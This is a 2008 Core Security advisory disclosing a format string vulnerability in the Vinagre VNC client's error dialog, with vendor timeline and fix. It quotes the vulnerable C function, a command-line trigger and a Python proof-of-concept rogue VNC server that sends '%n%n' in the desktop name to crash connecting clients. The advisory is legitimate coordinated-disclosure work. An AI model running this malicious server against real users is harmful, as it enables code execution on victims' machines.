Core Security Technologies Advisory 2008.1127

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Core Security Technologies - CoreLabs Advisory  
http://www.coresecurity.com/corelabs/  
  
Vinagre show_error() format string vulnerability  
  
  
  
1. *Advisory Information*  
  
Title: Vinagre show_error() format string vulnerability  
Advisory ID: CORE-2008-1127  
Advisory URL: http://www.coresecurity.com/content/vinagre-format-string  
Date published: 2008-12-09  
Date of last update: 2008-12-09  
Vendors contacted: Vinagre team  
Release mode: Coordinated release  
  
  
2. *Vulnerability Information*  
  
Class: Format string  
Remotely Exploitable: Yes  
Locally Exploitable: No  
Bugtraq ID: 32682  
CVE Name: N/A  
  
  
3. *Vulnerability Description*  
  
Vinagre [1] is a VNC client for the GNOME Desktop. A format string error  
has been found on the 'vinagre_utils_show_error()' function that can be  
exploited via commands issued from a malicious server containing format  
string specifiers on the VNC name.  
  
In a web based attack scenario, the user would be required to connect to  
a malicious server. Successful exploitation would then allow the  
attacker to execute arbitrary code with the privileges of the Vinagre user.  
  
  
4. *Vulnerable packages*  
  
. Vinagre 2.24.1 and previous versions  
  
  
5. *Non-vulnerable packages*  
  
. Vinagre 2.24.2  
  
  
6. *Vendor Information, Solutions and Workarounds*  
  
The Vinagre team has released a fixed version, available at  
http://ftp.acc.umu.se/pub/GNOME/sources/vinagre/2.24/vinagre-2.24.2.tar.gz  
  
  
7. *Credits*  
  
This vulnerability was discovered and researched by Alfredo Ortega from  
Core Security Technologies.  
  
  
8. *Technical Description / Proof of Concept Code*  
  
The function 'vinagre_utils_show_error()' on 'src/vinagre-utils.c' follows:  
  
/-----------  
  
57 void  
58 vinagre_utils_show_error (const gchar *message, GtkWindow *parent)  
59 {  
60 GtkWidget *d;  
61  
62 d = gtk_message_dialog_new (parent,  
63 GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT,  
64 GTK_MESSAGE_ERROR,  
65 GTK_BUTTONS_CLOSE,  
66 message);  
....  
  
- -----------/  
  
Here, the "message" string is the format specifier for the function  
'gtk_message_dialog_new()', but may be controlled by the user in many  
ways. The simplest is the invocation of vinagre via a command line, Ex.:  
  
/-----------  
  
~$vinagre %n%n  
- -----------/  
  
But the vulnerability can also be triggered remotely via a malicious  
vnc server.  
  
  
8.1. *Proof Of Concept*  
  
The following python script implements a basic vnc server that triggers  
the vulnerability:  
  
/-----------  
  
##  
## Gnome Vinagre format string PoC VNC SERVER  
##  
  
import socket  
import struct  
  
#create an INET, STREAMing socket  
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
#bind the socket to a public host,  
# and a well-known port  
serversocket.bind(("0.0.0.0", 5900))  
  
#become a server socket  
serversocket.listen(5)  
  
while 1:  
#accept connections from outside  
(clientsocket, address) = serversocket.accept()  
print "accept"  
  
# version handshake  
clientsocket.send("RFB 003.008\n")  
resp=clientsocket.recv(100)  
print resp  
  
# security types (none)   
clientsocket.send("\x01\x01")  
resp=clientsocket.recv(100)  
if resp=="\x01":  
print "security: none"  
clientsocket.send("\x00\x00\x00\x00") #OK  
else: exit(-1)  
  
# share desktop flag?  
resp=clientsocket.recv(100)  
  
#framebuffer parameters  
  
clientsocket.send("\x02\xd0\x01\x90\x20\x20\x00\x01\x00\xff\x00\xff\x00\xff\x10\x08\x00\x00\x00\x00\x00\x00\x00\x04%n%n")  
#OK  
  
resp=clientsocket.recv(100)  
clientsocket.close()  
  
- -----------/  
  
  
  
  
9. *Report Timeline*  
  
. 2008-12-01: Core Security Technologies notifies the Vinagre team of  
the vulnerability.  
. 2008-12-02: Vinagre team asks Core for a technical description of the  
vulnerability.  
. 2008-12-02: Technical details sent to Vinagre team by Core.  
. 2008-12-02: Vinagre team notifies Core this issue has been fixed in  
the development branch, and that a new version will be available soon.  
. 2008-12-05: Core asks Vinagre team if the new version is available.  
. 2008-12-05: Vinagre team releases the Vinagre 2.24.2 version, which  
fixes this issue.  
. 2008-12-09: The advisory CORE-2008-1127 is published.  
  
  
10. *References*  
  
[1] http://projects.gnome.org/vinagre/.  
  
  
11. *About CoreLabs*  
  
CoreLabs, the research center of Core Security Technologies, is charged  
with anticipating the future needs and requirements for information  
security technologies. We conduct our research in several important  
areas of computer security including system vulnerabilities, cyber  
attack planning and simulation, source code auditing, and cryptography.  
Our results include problem formalization, identification of  
vulnerabilities, novel solutions and prototypes for new technologies.  
CoreLabs regularly publishes security advisories, technical papers,  
project information and shared software tools for public use at:  
http://www.coresecurity.com/corelabs.  
  
  
12. *About Core Security Technologies*  
  
Core Security Technologies develops strategic solutions that help  
security-conscious organizations worldwide develop and maintain a  
proactive process for securing their networks. The company's flagship  
product, CORE IMPACT, is the most comprehensive product for performing  
enterprise security assurance testing. CORE IMPACT evaluates network,  
endpoint and end-user vulnerabilities and identifies what resources are  
exposed. It enables organizations to determine if current security  
investments are detecting and preventing attacks. Core Security  
Technologies augments its leading technology solution with world-class  
security consulting services, including penetration testing and software  
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core  
Security Technologies can be reached at 617-399-6980 or on the Web at  
http://www.coresecurity.com.  
  
  
13. *Disclaimer*  
  
The contents of this advisory are copyright (c) 2008 Core Security  
Technologies and (c) 2008 CoreLabs, and may be distributed freely  
provided that no fee is charged for this distribution and proper credit  
is given.  
  
  
14. *PGP/GPG Keys*  
  
This advisory has been signed with the GPG key of Core Security  
Technologies advisories team, which is available for download at  
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.7 (MingW32)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org  
  
iD8DBQFJPsvQyNibggitWa0RAoZHAJ9RQxrboOG+3oWfK4qH8pMoZEELHgCeOyVJ  
bVIpD2b1TEob7GKuEfmBAYs=  
=31Hp  
-----END PGP SIGNATURE-----  
  
`